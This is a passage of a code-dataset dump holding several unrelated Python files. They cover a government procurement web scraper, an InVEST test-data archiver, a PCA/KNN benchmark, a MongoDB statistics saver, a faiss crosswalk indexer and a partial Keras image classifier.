items[\"url\"] = self.dom_url + li.xpath(\"./a/@href\").extract_first()\n                items[\"title\"] = li.xpath(\"./a/@title\").extract_first()\n                dirty_time = li.xpath('./span[@class=\"date\"]/text()').extract_first()\n                # 转花为时间戳\n                items[\"web_time\"] = int(time.mktime(time.strptime(dirty_time, \"%Y-%m-%d\")))\n                yield Request(items[\"url\"], headers=self.headers, callback=self.detail_parse,\n                              meta={\"meta\": deepcopy(items)})\n        except Exception as e:\n            print(\"列表页错误\", e, items['url'])\n            # logging.warning()\n            pass\n\n    # 获取详情页数据\n    def detail_parse(self, response):\n\n        items = response.meta[\"meta\"]\n        p_str = response.text\n        try:\n            dirty_page = re.search(r'<div class=\"frameReport\">(.*?)<div id=\"a\">', p_str, re.S).group(1)\n            # 拼接附件html\n            try:\n                half_file_url = re.search(r'<h3>附件</h3>.*?<li><a href=\"(.*?)\">.*?</a></li>').group(1)\n            except Exception as e:\n                pass\n            else:\n                file_url = self.dom_url + half_file_url\n                dirty_page = dirty_page + '\\n' + self.html5.format(file_url)\n            items[\"intro\"] = re.sub('[\\n|\\t|\\r]', '', dirty_page)\n            items[\"time\"] = int(time.time())\n            # area = \"广西\"\n            items[\"addr_id\"] = \"416\"\n            items[\"source_name\"] = \"广西壮族自治区政府采购网\"\n            yield items\n        except Exception as e:\n            print(\"转pipline问题\", e, items[\"url\"])\n","sub_path":"guangxi_gov_purchase/guangxi_gov_purchase/spiders/guang_test.py","file_name":"guang_test.py","file_ext":"py","file_size_in_byte":4651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"569933831","text":"\"\"\"\nA module for InVEST test-related data storage.\n\"\"\"\n\nimport os\nimport json\nimport tarfile\nimport shutil\nimport inspect\nimport logging\nimport tempfile\nimport string\nimport random\nimport glob\n\nfrom osgeo import gdal\nfrom osgeo import ogr\n\nimport pygeoprocessing.geoprocessing\n\n\nDATA_ARCHIVES = os.path.join('data', 'regression_archives')\nINPUT_ARCHIVES = os.path.join(DATA_ARCHIVES, 'input')\nOUTPUT_ARCHIVES = os.path.join(DATA_ARCHIVES, 'output')\n\nCOMPLEX_FILES = {\n    'ArcInfo Binary Grid': ['dblbnd.adf', 'hdr.adf', 'log', 'metadata.xml',\n        'prj.adf', 'sta.adf', 'vat.adf', 'w001001.adf', 'w001001x.adf'],\n    'ESRI Shapefile': ['.dbf', '.shp', '.prj', '.shx'],\n}\n\nLOGGER = logging.getLogger('natcap.invest.testing.data_storage')\n\n\ndef archive_uri(name=None):\n    if name is None:\n        calling_function = inspect.stack()[1]\n        name = calling_function.__name__\n\n    return(os.path.join(INPUT_ARCHIVES, name))\n\ndef is_multi_file(filename):\n    \"\"\"Check if the filename given is a file with multiple parts to it, such as\n        an ESRI shapefile or an ArcInfo Binary Grid.\"\"\"\n    pass\n\ndef make_random_dir(workspace, seed_string, prefix, make_dir=True):\n    LOGGER.debug('Random dir seed: %s', seed_string)\n    random.seed(seed_string)\n    new_dirname = ''.join(random.choice(string.ascii_uppercase + string.digits)\n            for x in range(6))\n    new_dirname = prefix + new_dirname\n    LOGGER.debug('New dirname: %s', new_dirname)\n    raster_dir = os.path.join(workspace, new_dirname)\n\n    if make_dir:\n        os.mkdir(raster_dir)\n\n    return raster_dir\n\n\ndef make_raster_dir(workspace, seed_string, make_dir=True):\n    raster_dir = make_random_dir(workspace, seed_string, 'raster_', make_dir)\n    LOGGER.debug('new raster dir: %s', raster_dir)\n    return raster_dir\n\n\ndef make_vector_dir(workspace, seed_string, make_dir=True):\n    vector_dir = make_random_dir(workspace, seed_string, 'vector_', make_dir)\n    LOGGER.debug('new vector dir: %s', vector_dir)\n    return vector_dir\n\ndef collect_parameters(parameters, archive_uri):\n    \"\"\"Collect an InVEST model's arguments into a dictionary and archive all\n        the input data.\n\n        parameters - a dictionary of arguments\n        archive_uri - a URI to the target archive.\n\n        Returns nothing.\"\"\"\n\n    parameters = parameters.copy()\n    temp_workspace = pygeoprocessing.geoprocessing.temporary_folder()\n\n    def get_multi_part_gdal(filepath):\n        \"\"\"Collect all GDAL files into a new folder inside of the temp_workspace\n        (a closure from the collect_parameters funciton).\n\n        This function uses gdal's internal knowledge of the files it contains to\n        determine which files are to be included.\n\n            filepath - a URI to a file that is in a GDAL raster.\n\n        Returns the name of the new folder within the temp_workspace that\n        contains all the files in this raster.\"\"\"\n\n        # Get the file list from GDAL\n        # NOTE: with ESRI Rasters, other files are sometimes included in this\n        # list that are not actually part of the raster.  This is an acceptable\n        # cost of this function, since we are now able to handle ALL raster\n        # types supported by GDAL.\n        dataset = gdal.Open(filepath)\n        file_list = dataset.GetFileList()\n        LOGGER.debug('Files in raster: %s', file_list)\n        dataset = None\n\n        if len(file_list) == 1:\n            # If there is only one file in the raster, just return the file name\n            raster_file = file_list[0]\n            new_file_location = os.path.join(temp_workspace, os.path.basename(raster_file))\n            shutil.copyfile(raster_file, new_file_location)\n            return os.path.basename(file_list[0])\n        else:\n            # If the filepath given is a folder itself, we want the new raster dir\n            # to be based on a seed of the folder's basname.  Otherwise, we need to\n            # get the basename from the filepath.\n            if os.path.isdir(filepath):\n                parent_folder = os.path.basename(filepath)\n            else:\n                parent_folder = os.path.dirname(filepath)\n\n            new_raster_dir = make_raster_dir(temp_workspace, parent_folder)\n            for raster_file in file_list:\n                # raster_file may be a folder ... we can't copy a folder with\n                # copyfile.\n                if os.path.isfile(raster_file):\n                    file_basename = os.path.basename(raster_file)\n                    new_raster_uri = os.path.join(new_raster_dir, file_basename)\n                    shutil.copyfile(raster_file, new_raster_uri)\n\n            return os.path.basename(new_raster_dir)\n\n\n\n    class UnsupportedFormat(Exception):\n        pass\n\n    class NotAVector(Exception):\n        pass\n\n    def get_multi_part_ogr(filepath):\n        shapefile = ogr.Open(filepath)\n        driver = shapefile.GetDriver()\n\n        if os.path.isdir(filepath):\n            parent_folder = os.path.basename(filepath)\n        else:\n            folder_name = os.path.basename(os.path.dirname(filepath))\n            file_name = os.path.basename(filepath)\n            parent_folder = os.path.join(folder_name, file_name)\n\n        LOGGER.debug('Temp folder seed: %s', parent_folder)\n\n        new_vector_dir = make_vector_dir(temp_workspace, parent_folder)\n        if driver.name == 'ESRI Shapefile':\n            LOGGER.debug('%s is an ESRI Shapefile', filepath)\n            # get the layer name\n            layer = shapefile.GetLayer()\n\n            # get the layer files\n            parent_folder_path = os.path.dirname(filepath)\n            glob_pattern = os.path.join(parent_folder_path, '%s.*' %\n                layer.GetName())\n            layer_files = sorted(glob.glob(glob_pattern))\n            LOGGER.debug('Layer files: %s', layer_files)\n\n            layer_extensions = map(lambda x: os.path.splitext(x)[1], layer_files)\n            LOGGER.debug('Layer extensions: %s', layer_extensions)\n\n            # It's not a shapefile if there's no file with a .shp extension.\n            if '.shp' not in layer_extensions:\n                shutil.rmtree(new_vector_dir)\n                raise NotAVector()\n\n            # copy the layer files to the new folder.\n            for file_name in layer_files:\n                file_basename = os.path.basename(file_name)\n                new_filename = os.path.join(new_vector_dir, file_basename)\n                shutil.copyfile(file_name, new_filename)\n        else:\n            raise UnsupportedFormat('%s is not a supported OGR Format',\n                driver.name)\n\n        return os.path.basename(new_vector_dir)\n\n    def get_multi_part(filepath):\n        # If the user provides a mutli-part file, wrap it into a folder and grab\n        # that instead of the individual file.\n\n        raster_obj = gdal.Open(filepath)\n        if raster_obj != None:\n            # file is a raster\n            raster_obj = None\n            LOGGER.debug('%s is a raster', filepath)\n            return get_multi_part_gdal(filepath)\n\n        vector_obj = ogr.Open(filepath)\n        if vector_obj != None:\n            # Need to check the driver name to be sure that this isn't a CSV.\n            driver = vector_obj.GetDriver()\n            if driver.name != 'CSV':\n                # file is a shapefile\n                vector_obj = None\n                layer = None\n                try:\n                    return get_multi_part_ogr(filepath)\n                except NotAVector:\n                    # For some reason, the file actually turned out to not be a\n                    # vector, so we just want to return from this function.\n                    LOGGER.debug('Thought %s was a shapefile, but I was wrong.',\n                        filepath)\n                    pass\n        return None\n\n    # For tracking existing files so we don't copy things twice\n    files_found = {}\n\n    def get_if_file(parameter):\n        try:\n            uri = files_found[os.path.abspath(parameter)]\n            LOGGER.debug('Found %s from a previous parameter', uri)\n            return uri\n        except KeyError:\n            # we haven't found this file before, so we still need to process it.\n            pass\n\n        # initialize the return_path\n        return_path = None\n        try:\n            multi_part_folder = get_multi_part(parameter)\n            if multi_part_folder != None:\n                LOGGER.debug('%s is a multi-part file', parameter)\n                return_path = multi_part_folder\n\n            elif os.path.isfile(parameter):\n                LOGGER.debug('%s is a single file', parameter)\n                new_filename = os.path.basename(parameter)\n                shutil.copyfile(parameter, os.path.join(temp_workspace,\n                    new_filename))\n                return_path = new_filename\n\n            elif os.path.isdir(parameter):\n                LOGGER.debug('%s is a directory', parameter)\n                # parameter is a folder, so we want to copy the folder and all\n                # its contents to temp_workspace.\n                folder_name = os.path.basename(parameter)\n                new_foldername = make_random_dir(temp_workspace, folder_name,\n                    'data_', False)\n                shutil.copytree(parameter, new_foldername)\n                return_path = new_foldername\n\n            else:\n                # Parameter does not exist on disk.  Print an error to the\n                # logger and move on.\n                LOGGER.error('File %s does not exist on disk.  Skipping.',\n                    parameter)\n        except TypeError as e:\n            # When the value is not a string.\n            LOGGER.warn('%s', e)\n\n        LOGGER.debug('Return path: %s', return_path)\n        if return_path != None:\n            files_found[os.path.abspath(parameter)] = return_path\n            return return_path\n\n        LOGGER.debug('Returning original parameter %s', parameter)\n        return parameter\n\n    # Recurse through the parameters to locate any URIs\n    #   If a URI is found, copy that file to a new location in the temp\n    #   workspace and update the URI reference.\n    #   Duplicate URIs should also have the same replacement URI.\n    #\n    # If a workspace or suffix is provided, ignore that key.\n    LOGGER.debug('Keys: %s', parameters.keys())\n    ignored_keys = []\n    for key, restore_key in [\n        ('workspace_dir', False),\n        ('suffix', True),\n        ('results_suffix', True)]:\n        try:\n            if restore_key:\n                ignored_keys.append((key, parameters[key]))\n                LOGGER.debug('tracking key %s', key)\n            del parameters[key]\n        except KeyError:\n            LOGGER.warn(('Parameters missing the workspace key \\'%s\\'.'\n                ' Be sure to check your archived data'), key)\n\n    types = {\n        str: get_if_file,\n        unicode: get_if_file,\n    }\n    new_args = format_dictionary(parameters, types)\n\n    for (key, value) in ignored_keys:\n        LOGGER.debug('Restoring %s: %s', key, value)\n        new_args[key] = value\n\n    LOGGER.debug('new arguments: %s', new_args)\n    # write parameters to a new json file in the temp workspace\n    param_file_uri = os.path.join(temp_workspace, 'parameters.json')\n    parameter_file = open(param_file_uri, mode='w+')\n    parameter_file.writelines(json.dumps(new_args))\n    parameter_file.close()\n\n    # archive the workspace.\n    if archive_uri[-7:] == '.tar.gz':\n        archive_uri = archive_uri[:-7]\n    shutil.make_archive(archive_uri, 'gztar', root_dir=temp_workspace,\n        logger=LOGGER)\n\n\ndef extract_archive(workspace_dir, archive_uri):\n    \"\"\"Extract a .tar.gzipped file to the given workspace.\n\n        workspace_dir - the folder to which the archive should be extracted\n        archive_uri - the uri to the target archive\n\n        Returns nothing.\"\"\"\n\n    archive = tarfile.open(archive_uri)\n    archive.extractall(workspace_dir)\n    archive.close()\n\n\ndef format_dictionary(input_dict, types_lookup={}):\n    \"\"\"Recurse through the input dictionary and return a formatted dictionary.\n\n        As each element is encountered, the correct function to use is looked up\n        in the types_lookup input.  If a type is not found, we assume that the\n        element should be returned verbatim.\n\n        input_dict - a dictionary to process\n        types_lookup - a dictionary mapping types to functions.  These functions\n            must take a single parameter of the type that is the key.  These\n            functions must return a formatted version of the input parameter.\n\n        Returns a formatted dictionary.\"\"\"\n\n    def format_dict(parameter):\n        new_dict = {}\n        for key, value in parameter.iteritems():\n            try:\n                new_dict[key] = types[value.__class__](value)\n            except KeyError:\n                new_dict[key] = value\n        return new_dict\n\n    def format_list(parameter):\n        new_list = []\n        for item in parameter:\n            try:\n                new_list.append(types[item.__class__](item))\n            except KeyError:\n                new_list.append(item)\n        return new_list\n\n    types = {\n        dict: format_dict,\n        list: format_list,\n    }\n\n    types.update(types_lookup)\n\n    return format_dict(input_dict)\n\n\ndef extract_parameters_archive(workspace_dir, archive_uri, input_folder=None):\n    \"\"\"Extract the target archive to the target workspace folder.\n\n        workspace_dir - a uri to a folder on disk.  Must be an empty folder.\n        archive_uri - a uri to an archive to be unzipped on disk.  Archive must\n            be in .tar.gz format.\n        input_folder=None - either a URI to a folder on disk or None.  If None,\n            temporary folder will be created and then erased using the atexit\n            register.\n\n        Returns a dictionary of the model's parameters for this run.\"\"\"\n\n    # create a new temporary folder just for the input parameters, if the user\n    # has not provided one already.\n    if input_folder == None:\n        input_folder = pygeoprocessing.geoprocessing.temporary_folder()\n\n    # extract the archive to the workspace\n    extract_archive(input_folder, archive_uri)\n\n    # get the arguments dictionary\n    arguments_dict = json.load(open(os.path.join(input_folder, 'parameters.json')))\n\n    def _get_if_uri(parameter):\n        \"\"\"If the parameter is a file, returns the filepath relative to the\n        extracted workspace.  If the parameter is not a file, returns the\n        original parameter.\"\"\"\n        try:\n            temp_file_path = os.path.join(input_folder, parameter)\n            if os.path.exists(temp_file_path) and not len(parameter) == 0:\n                return temp_file_path\n        except TypeError:\n            # When the parameter is not a string\n            pass\n        except AttributeError:\n            # when the parameter is not a string\n            pass\n\n        return parameter\n\n    types = {\n        str: _get_if_uri,\n        unicode: _get_if_uri,\n    }\n    formatted_args = format_dictionary(arguments_dict, types)\n    formatted_args[u'workspace_dir'] = workspace_dir\n\n    return formatted_args\n","sub_path":"natcap/invest/testing/data_storage.py","file_name":"data_storage.py","file_ext":"py","file_size_in_byte":15088,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"104225025","text":"#!/usr/bin/python\nimport sys\nimport time\nimport math\nimport cudf\nimport cuml\nimport numpy as np\nimport pandas as pd\nimport sklearn\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.neighbors import KNeighborsClassifier\n\nsys.path.append(\"../../lib\")\nsys.path.append(\"../../pycomposer\")\nsys.path.append(\".\")\n\nfrom sa.annotation import Backend\nfrom mode import Mode\n\nDEFAULT_SIZE = 1 << 10\nDEFAULT_CPU = 1 << 16\nDEFAULT_GPU = 1 << 26\n\n\ndef gen_data(mode, size):\n    \"\"\"Parameters:\n    - size: number of rows in the dataset before train/test split, and before\n      scaling by original dataset size (178)\n    \"\"\"\n    features, target = sklearn.datasets.load_wine(return_X_y=True)\n    # Make a train/test split using 30% test size\n    X_train, X_test, y_train, y_test = sklearn.model_selection.train_test_split(\n        features, target, train_size=0.70, random_state=42)\n    # Increase the data size\n    for _ in range(int(math.log2(size))):\n        X_test = np.append(X_test, X_test, axis=0)\n        y_test = np.append(y_test, y_test)\n    return X_train, X_test, y_train, y_test\n\n\ndef accuracy(y_test, pred_test):\n    \"\"\"Accuracy of classifier. Used to validate results.\n\n    Parameters:\n    - y_test: actual results\n    - pred_test: predicted results\n    \"\"\"\n    return sklearn.metrics.accuracy_score(y_test, pred_test)\n\n\ndef run_bach(X_train, X_test, y_train, y_test, scaled=True):\n    import sa.annotated.sklearn as sklearn\n    batch_size = {\n        Backend.CPU: X_train.shape[0],\n        Backend.GPU: X_train.shape[0],\n    }\n\n    # Initialize models\n    t0 = time.time()\n    if scaled:\n        ss = sklearn.StandardScaler()\n        ss.dontsend = False\n    pca = sklearn.PCA(n_components=2)\n    knc = sklearn.KNeighborsClassifier()\n    pca.dontsend = False\n    knc.dontsend = False\n\n    # Train models\n    if scaled:\n        X_train_ = sklearn.fit_transform_cpu(ss, X_train)\n    else:\n        X_train_ = X_train\n    X_train_ = sklearn.fit_transform(pca, X_train_)\n    sklearn.fit_xy(knc, X_train_, y_train)\n\n    # Note: batch sizes must be max size\n    sklearn.evaluate(\n        workers=1,\n        batch_size=batch_size,\n        force_cpu=False,\n    )\n    print('Fit(composer):', time.time() - t0)\n\n    # Test models\n    t0 = time.time()\n    if scaled:\n        X_test_ = sklearn.transform_cpu(ss.value, X_test)\n    else:\n        X_test_ = X_test\n    X_test_ = sklearn.transform(pca.value, X_test_)\n    pred_test = sklearn.predict(knc.value, X_test_)\n    pred_test.materialize = Backend.CPU\n\n    # Note: here, the batch sizes can be anything because this section can be split\n    sklearn.evaluate(\n        workers=1,\n        batch_size={\n            Backend.CPU: DEFAULT_CPU,\n            Backend.GPU: DEFAULT_GPU,\n        },\n        force_cpu=False,\n    )\n    t0 = print('Predict(composer):', time.time() - t0)\n    return pred_test.value\n\n\ndef run_cpu(X_train, X_test, y_train, y_test, scaled=True):\n    # Initialize models\n    t0 = time.time()\n    if scaled:\n        ss = sklearn.preprocessing.StandardScaler()\n    pca = PCA(n_components=2)\n    knc = KNeighborsClassifier()\n\n    # Train models\n    if scaled:\n        X_train_ = ss.fit_transform(X_train)\n    else:\n        X_train_ = X_train\n    X_train_ = pca.fit_transform(X_train_)\n    knc.fit(X_train_, y_train)\n    print('Fit(cpu):', time.time() - t0)\n\n    # Test models\n    t0 = time.time()\n    if scaled:\n        X_test_ = ss.transform(X_test)\n    else:\n        X_test_ = X_test\n    X_test_ = pca.transform(X_test_)\n    pred_test = knc.predict(X_test_)\n    print('Predict(cpu):', time.time() - t0)\n    return pred_test\n\n\ndef run_gpu(X_train, X_test, y_train, y_test, scaled=True):\n    import cupy as cp\n\n    # Initialize models\n    t0 = time.time()\n    if scaled:\n        ss = sklearn.preprocessing.StandardScaler()\n    pca = cuml.PCA(n_components=2)\n    knc = cuml.neighbors.KNeighborsClassifier()\n\n    # Train models\n    if scaled:\n        X_train_ = ss.fit_transform(X_train)\n    else:\n        X_train_ = X_train\n    X_train_ = cp.array(X_train_)\n    X_train_ = pca.fit_transform(X_train_)\n    y_train_ = cp.array(y_train)\n    knc.fit(X_train_, y_train_)\n    print('Fit(gpu):', time.time() - t0)\n\n    # Test models\n    t0 = time.time()\n    if scaled:\n        X_test_ = ss.transform(X_test)\n    else:\n        X_test_ = X_test\n    X_test_ = cp.array(X_test_)\n    X_test_ = pca.transform(X_test_)\n    pred_test = knc.predict(X_test_)\n    pred_test = pred_test.to_pandas().to_numpy()\n    print('Predict(gpu):', time.time() - t0)\n    return pred_test\n\n\ndef run(mode, size=None, cpu=None, gpu=None, threads=None, data_mode='file'):\n    # Optimal defaults\n    if size == None:\n        size = DEFAULT_SIZE\n\n    # Get inputs\n    start = time.time()\n    inputs = gen_data(mode, size)\n    init_time = time.time() - start\n    sys.stdout.write('Init: {}\\n'.format(init_time))\n\n    # Initialize CUDA\n    if mode == Mode.BACH or mode == Mode.GPU:\n        cuml.LogisticRegression()\n\n    # Run program\n    start = time.time()\n    if mode == Mode.BACH:\n        pred_test_std = run_bach(*inputs, scaled=True)\n    elif mode == Mode.CPU:\n        pred_test_std = run_cpu(*inputs, scaled=True)\n    elif mode == Mode.GPU:\n        pred_test_std = run_gpu(*inputs, scaled=True)\n    else:\n        raise ValueError\n    runtime_scaled = time.time() - start\n\n    sys.stdout.write('Runtime scaled: {}\\n'.format(runtime_scaled))\n    sys.stdout.write('Total: {}\\n'.format(init_time + runtime_scaled))\n    sys.stdout.flush()\n    print('Accuracy scaled: {:.2%}'.format(accuracy(inputs[3], pred_test_std)))\n    print()\n    return init_time, runtime_scaled\n","sub_path":"benchmarks/workloads/pca.py","file_name":"pca.py","file_ext":"py","file_size_in_byte":5582,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"62081121","text":"from pymongo import *\nimport statistics\nimport numpy as np\nfrom datetime import datetime \n\nclass SaveMongo(object):\n\n\tdef __init__(self):\n\t\tself.FILTER_DOWN = 20\n\t\tself.FILTER_UP = 90\n\t\tself.con = MongoClient()\n\t\tself.db_map = self.con.fingerprint\n\t\tself.db_locate = self.con.locate\n\t\t#self.collection_map = self.db_map['fingerprint']\n\t\t#self.collection_locate = self.db_locate['locate']\n\t\tself.jsonKey = [\"DATA_SIZE\", \"MODE\", \"STEP\", \"PLACE\", \"POSITIONS\", \"TIMESTAMP\", \"MAGNETIC_DATA\", \"MAGNETIC_AVG_TIME\", \"IP_PHONE\", \"MAC_PHONE\"]\n\t\tself.jsonNewKey = {\"FILTERED_RSSI_DATA\" : \"FILTERED_RSSI_DATA\", \"FILTERED_MAGNETIC_DATA\" : \"FILTERED_MAGNETIC_DATA\"}\n\t\tself.checkPointsCoordinates = {\"A\" : [0,0], \"B\" : [0,0], \"C\" : [0,0], \"D\" : [0,0], \"E\" : [0,0], \"F\" : [0,0], \"G\" : [0,0], \"H\" : [0,0], \"I\" : [0,0], \"J\" : [0,0], \"K\" : [0,0], \"L\" :[0,0], \"M\" : [0,0], \"N\" : [0,0], \"O\" : [0,0], \"P\" : [0,0], \"R\" : [0,0], \"S\" : [0,0], \"T\" : [0,0], \"U\" : [0,0],\"ERROR\" : [-1,-1]};\n\t\tself.apCoordinates={}\n\n\tdef saveData(self,jsonFile):\n\t\t#j = simplejson.loads(jsonFile['RSSI_DATA'])\n\t\t#print jsonFile\n\t\t#for dictonary in jsonFile:\n\t\t#\tj = simplejson.loads(dictonary)\n\t\t#\tprint type(json)\n\t\t#\tprint json\n\t\t#self.filterAndStatistics(jsonFile)\n\t\t#print jsonFile\n\t\tcollecton_name = jsonFile['PLACE'] + '_DATASIZE:' +str(jsonFile['DATA_SIZE']) + '_STEP:' + str(jsonFile['STEP'][0]) + '_' + str(jsonFile['STEP'][1])  + '_' + jsonFile['HASH']\n\t\tself.countStatisticsData(jsonFile)\n\t\tif jsonFile[\"MODE\"] ==  \"FEED_MAP\":\t\t\n\t\t\tself.db_map[collecton_name].insert(jsonFile)\n\t\telif jsonFile[\"MODE\"] ==  \"LOCATE_PHONE\":\n\t\t\tself.db_locate[collecton_name].insert(jsonFile)\n\n\tdef __del__(self):\n\t\tself.con.disconnect()\n\n\tdef filterData(self, jsonFile):\n\t\t#uniqueKeys = [j[0] for i in jsonFile for j in i.items()]\n\t\tuniqueKeys = []\n\t\tfor key in jsonFile:\n\t\t\tuniqueKeys.append(key)\n\t\t\t\n\t\trawData = []\n\t\tif \"RSSI_DATA\" in uniqueKeys:\n\t\t\trawData = json.loads(jsonFile[\"RSSI_DATA\"])\n\t\telif \"MAGNETIC_DATA\" in uniqueKeys:\n\t\t\trawData = json.loads(jsonFile[\"MAGNETIC_DATA\"])\n\t\t#print rawData\n\t\tarray = np.array(rawData)\n\t\tpercentile20 = np.percentile(array, self.FILTER_DOWN)\n\t\tpercentile90 = np.percentile(array, self.FILTER_UP)\n\t\tfilteredData = cleanNoise(percentile20, percentile90, rawdata)\n\t\tif \"RSSI_DATA\" in uniqueKeys:\n\t\t\tjsonFile[jsonNewKey[\"FILTERED_RSSI_DATA\"]] = filteredData\n\t\telif \"MAGNETIC_DATA\" in uniqueKeys:\n\t\t\tjsonFile[jsonNewKey[\"FILTERED_MAGNETIC_DATA\"]] = filteredData\n\t\t\n\n\tdef cleanNoise(self, per20, per90, data):\n\t\tfor i in range(0,len(data)):\n\t\t\tif data[i] < per20 or data[i] > per90:\n\t\t\t\tdel data[i]\n\t\treturn data\n\n\tdef countStatisticsData(self, jsonFile):\n\t\t#uniqueKeys = [j[0] for i in jsonFile for j in i.items()]\n\t\tuniqueKeys = []\n\t\tfor key in jsonFile:\n\t\t\tuniqueKeys.append(key)\n\t\tdata = []\n\t\tif \"RSSI_DATA\" in uniqueKeys: # \"FILTERED_RSSI_DATA\"\n\t\t\tdata = jsonFile[\"RSSI_DATA\"] #\"FILTERED_RSSI_DATA\"\n\t\telif \"MAGNETIC_DATA\" in uniqueKeys: #\"FILTERED_MAGNETIC_DATA\"\n\t\t\tdata = jsonFile[\"MAGNETIC_DATA\"] #\"FILTERED_MAGNETIC_DATA\"\n\t\tmeanV = statistics.mean(data)\n\t\tstandardDeviation = statistics.pstdev(data)\n\t\tmaxV = max(data)\n\t\tminV = min(data)\n\t\tmedianaV = statistics.median_grouped(data)\n\t\tmodeV = statistics.mode(data)\n\t\tarray = np.array(data)\n\t\tpercentile10 = np.percentile(array, 10)\n\t\tpercentile20 = np.percentile(array, 20)\n\t\tpercentile50 = np.percentile(array, 50)\n\t\tpercentile70 = np.percentile(array, 70)\n\t\tpercentile90 = np.percentile(array, 90)\n\t\tstatisticsDict = {\"MEAN\" : meanV,\"STANDARD_DEVIATION\" : standardDeviation, \"MAX\" : maxV, \"MIN\" : minV, \"MEDIANA\" : medianaV, \"MODE\" : modeV,  \"PERCENTILE - 10\" : percentile10,\"PERCENTILE - 20\" : percentile20,  \"PERCENTILE - 50\" : percentile50,  \"PERCENTILE - 70\" : percentile70,  \"PERCENTILE - 90\" : percentile90 }\n\t\tjsonFile[\"STATISTICS\"] = statisticsDict\n\n\tdef filterAndStatistics(self, jsonFile):\n\t\tself.filterData(jsonFile)\n\t\tself.countStatisticsData(jsonFile)\n\n\n\n\t\t\t\n            \n","sub_path":"backup_workspace/SaveMongo.py","file_name":"SaveMongo.py","file_ext":"py","file_size_in_byte":3929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"596625697","text":"import pandas as pd\nimport numpy as np\nimport argparse, faiss\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"--filepath\", type=str)\n\ndef loadcsv(path):\n    data = pd.read_csv(path, encoding=\"CP949\")\n\n    latitude = np.expand_dims(data['위도'], axis=1)\n    longitude = np.expand_dims(data['경도'], axis=1)\n    ids = np.expand_dims(data['순번'], axis=1)\n    vectors = np.concatenate((latitude, longitude), axis=1)\n\n    return ids, np.array(vectors, dtype=np.float32)\n\ndef indexing(vectorset, indextype = \"FlatL2\", dim =2):\n    if indextype == \"FlatL2\":\n        index = faiss.IndexFlatL2(dim)\n    else :\n        index = faiss.IndexFlatIP(dim)\n\n    #ids = np.array(np.expand_dims(vectorset[:,0], axis=1),dtype=np.int)\n    #ids = np.array(vectorset[:,0], dtype=int)\n    vectors = np.array(vectorset,dtype=np.float32)\n    #print(ids.shape)\n    print(vectors.shape)\n    index.add(vectors)\n    #print(index.ntotal)\n    #print(ids)\n    ##print(vectors)\n    #index.add_with_ids(vectors, ids)\n\n    return index\n\nif __name__ == \"__main__\":\n    args = parser.parse_args()\n    args.filepath = \"C:/Users/leeju/PycharmProjects/BlueCamel-SafeCrosswalk/서울시 횡단보도 위치정보 (좌표계_ WGS1984) (1).csv\"\n\n    ids, vectorset = loadcsv(path = args.filepath)\n    index = indexing(vectorset)\n    faiss.write_index(index,\"crosswalk_index_seoul.index\")\n\n    ids = np.squeeze(ids)\n    np.save(\"./inverted_index.npy\",ids)\n    np.save(\"./test_vectorset.npy\", vectorset)\n\n    print(index.search(vectorset[1:4],1))\n\n","sub_path":"ProcessData/CrosswalkSearchModules/parsingcsv.py","file_name":"parsingcsv.py","file_ext":"py","file_size_in_byte":1518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"492324081","text":"import os\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Dense, Dropout, Activation, Flatten, Conv2D, MaxPooling2D\r\nfrom sklearn.model_selection import train_test_split\r\nimport numpy as np\r\nfrom os import listdir\r\nfrom skimage import io\r\nfrom scipy.misc import imresize\r\nimport keras\r\nfrom keras.optimizers import Adam\r\nimport matplotlib.pyplot as plt\r\n\r\nimg_size = 64\r\nbatch_size=64\r\nepochs=50\r\ntest_size = 0.1\r\n# load image\r\n\r\n# ------------------------------------------------------------------------\r\n# ------ There were no official comments. All comments are mine. ---------\r\n# ------------------------------------------------------------------------\r\n\r\ndata_path='Data/' # specify data folder\r\nlabels = listdir(data_path) # take two subfolders (cats and dogs). listdir returns entries in that path.\r\n\r\nx_cat=[]; # initialize\r\nx_dog=[]; # initialize\r\n\r\ncat_imgpath = listdir(data_path+'/'+labels[0]) # take cat images\r\ndog_imgpath=listdir(data_path+'/'+labels[1]) # take dog images\r\n\r\n# Resize cat images\r\nfor img in cat_imgpath:\r\n    cat_img = io.imread(data_path+'/'+labels[0]+'/'+img)\r\n    x_cat.append(imresize(cat_img, (img_size, img_size, 3)))\r\n\r\ny_cat=np.ones(len(cat_imgpath)) # initialize (not used)\r\n\r\n# Resize dog images\r\nfor img in dog_imgpath:\r\n    dog_img = io.imread(data_path + '/' + labels[1] + '/' + img)\r\n    x_dog.append(imresize(dog_img, (img_size, img_size, 3)))\r\n\r\n# initialize\r\ny_cat = np.zeros(len(cat_imgpath))\r\ny_dog = np.ones(len(dog_imgpath))\r\n\r\nx=np.asarray(x_cat+x_dog) # single array with cats and dogs resized images\r\ny=np.append(y_cat,y_dog) # single array with zeros and ones\r\n\r\ny = keras.utils.to_categorical(y) # Convert integers (ones and zeros) to binary\r\n\r\ntrain_x, test_x, train_y, test_y = train_test_split(x, y, test_size=0.1, random_state=30) # split training and testing data\r\n\r\n# ------------------- START of sequential network -------------------------------------\r\nmodel = Sequential() # create sequential model\r\n\r\n# initialize parameters for dimensions\r\nkernel_height = 1 # best from q3\r\nkernel_width = 3 # best from q3\r\nnum_kernels = 32\r\npool_width = 2\r\npool_stride = 1\r\nconv_padding = 0\r\nconv_stride = 1\r\nhidden_units = 2\r\n\r\n# --- Part 1 - Convolutional Layers ---\r\n# conv_I = img_size # input dimension of conv layer\r\nmodel.add(Dropout(0.1))\r\nmodel.add(Conv2D(num_kernels, (kernel_height, kernel_width), input_shape=(img_size, img_size, 3))) # concolutional layer\r\nmodel.add(Conv2D(num_kernels, (kernel_height, kernel_width))) # concolutional layer\r\n\r\n# ^^^^ add more conv layers here ^^^^\r\n\r\nmodel.add(Activation('sigmoid')) # activation function\r\nmodel.add(MaxPooling2D(pool_size=(pool_width, pool_width))) # pooling\r\n\r\n# --- Part 2 - Fully Connected Layers ---\r\nmodel.add(Flatten()) # all in a single 